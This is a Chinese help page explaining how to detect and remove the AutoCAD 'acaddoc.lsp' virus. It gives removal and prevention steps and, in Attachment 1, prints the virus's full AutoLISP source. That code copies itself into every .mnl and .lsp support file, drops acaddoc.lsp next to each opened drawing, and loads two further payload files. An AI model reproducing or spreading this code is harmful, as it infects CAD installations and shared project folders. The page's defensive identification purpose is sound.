當前位置:編程學習大全網 - 源碼下載 - CAD中病毒了,會產生acadcoc.lsp的文件,找了很多方法都不管用,求高手,求解決辦法!!!!!!

CAD中病毒了,會產生acadcoc.lsp的文件,找了很多方法都不管用,求高手,求解決辦法!!!!!!

acaddoc病毒處理辦法

前言: 下文第壹、二、三段無實質內容,可略過不讀。

壹 病毒簡介:

最近公司裏流傳壹種cad病毒。該病毒可被卡巴斯基和360殺毒軟件查出。卡巴斯基查出病毒名為Virus.ALS.Pasdoc.a,360殺毒軟件查出病毒名為Trojan.Script.29327。遺憾的是,卡巴斯基和360殺毒軟件均不能將其徹底清除。

二 中毒癥狀:

機器中毒後,運行CAD時,每打開壹個dwg文件,均在dwg文件所在目錄下生成壹個acaddoc.lsp的文件。由於每次開圖,病毒程序均進行壹次病毒傳播復制過程,因此使得CAD開圖時速度變慢。

用記事本查看CAD安裝路徑下的support目錄下的任壹*.lsp文件,如文件末尾含有與附件1相同的代碼,則可判定為中毒。

三 傳播機理:

通過分析病毒的源代碼,初步了解其傳播機理如下:

如機器已中毒,CAD新打開dwg文件時,病毒程序自動加載。並搜索CAD工作目錄下的acad.mnl文件,感染同壹目錄下的*.mnl文件,搜索acad的support目錄,並感染該目錄下的所有*.lsp文件。同時病毒在當前打開的dwg文件所在目錄下生成acaddoc.lsp文件,以利於下次傳播。

如本機未中毒,而新打開的dwg文件所在目錄下有acaddoc.lsp文件,則病毒將感染上述目錄下的*.mnl與*.lsp文件。

該病毒的最終目的是調用acadapq 與 acadappp 兩個非法程序。至於這兩個程序會幹什麽,暫未深入研究。

四 清除步驟:

1. 退出CAD。

2. 全盤搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然後徹底刪除上述文件。註意查找前在文件夾選項中設置“顯示所有文件與文件夾”以及取消“隱藏受保護的操作系統文件”。搜索時選擇“查找所有文件及文件夾”,然後在“高級選項”裏勾選“搜索系統文件夾”“搜索隱藏的文件和文件夾”“搜索子文件夾”。

如果搜出的文件無法刪除,則先清空回收站,再搜索刪除。

註:探索者目錄下有個AcadDoc.lsp(註意大小寫)不是病毒文件,謹防誤刪。

3. 查看C盤根目錄下是否有boot.dat文件,如有,則將其刪除。

4. 進入C:\Documents and Settings\用戶名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support目錄,用記事本打開該目錄下的所有*.mnl文件,手動刪除與附件1相同的代碼(壹般都在文件末尾),然後保存。並將修改後的所有*.mnl文件屬性設置為“只讀”。

5. 進入CAD安裝目錄下的support目錄,將該目錄下的所有*.lsp文件按步驟4方法處理。記得將其屬性設為“只讀”。

6. 如果本機安裝有多個版本的CAD,都需按上述步驟檢查壹次。

五 預防措施:

由於該病毒是通過讀取dwg文件所在的目錄下acaddoc.lsp來傳播的。因為在接受其他同事的文件夾時,應先檢查該文件夾中是否包含上述病毒文件。如有,則刪除之。同時也應該確保傳給其他同事的文件夾不要包含上述文件。

病毒會感染support目錄下的 *.lsp文件。因此建議新建壹個文件夾,將常用的lisp程序放置在該文件夾下,同時在CAD選項中將其設置為工作搜索目錄。

未裝殺毒軟件的機器應首先將殺毒軟件裝上(360殺毒軟件免費的),在接受他人傳來的文件後應首先殺毒。

建議不要直接打開公***盤上的dwg文件,應先下載到本機再打開。

附件1: 病毒代碼

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

(load "acadapq")

(princ)

(load "acadappp.lsp")

(princ)

另外查殺幹凈以後進行如下操作可以免疫

首先搜索硬盤上所有acad.lsp,acadapp.lsp,把搜索到的文件全部全部刪除。

然後把安裝CAD的文件夾裏的Support文件夾裏的acad2004.lsp(視版本不同,文件名也不同,R14版的是acadR14.lsp, 2002版的是acad2002.lsp等等)文件(壹定要是lsp文件)復制出來,復制兩次,然後把文件名分別改為acad.lsp和 acadapp.lsp,然後把這兩個文件的屬性設置為只讀,再復制到Support文件夾裏去.就可以了.

壹定要把先把所有的acad.lsp,acadapp.lsp刪除,才能進行以上操作!

  • 上一篇:用c語言在funcode上做黃金礦工的遊戲 求發整個文件
  • 下一篇:如何使用spring boot快速構建後臺
  • copyright 2024編程學習大全網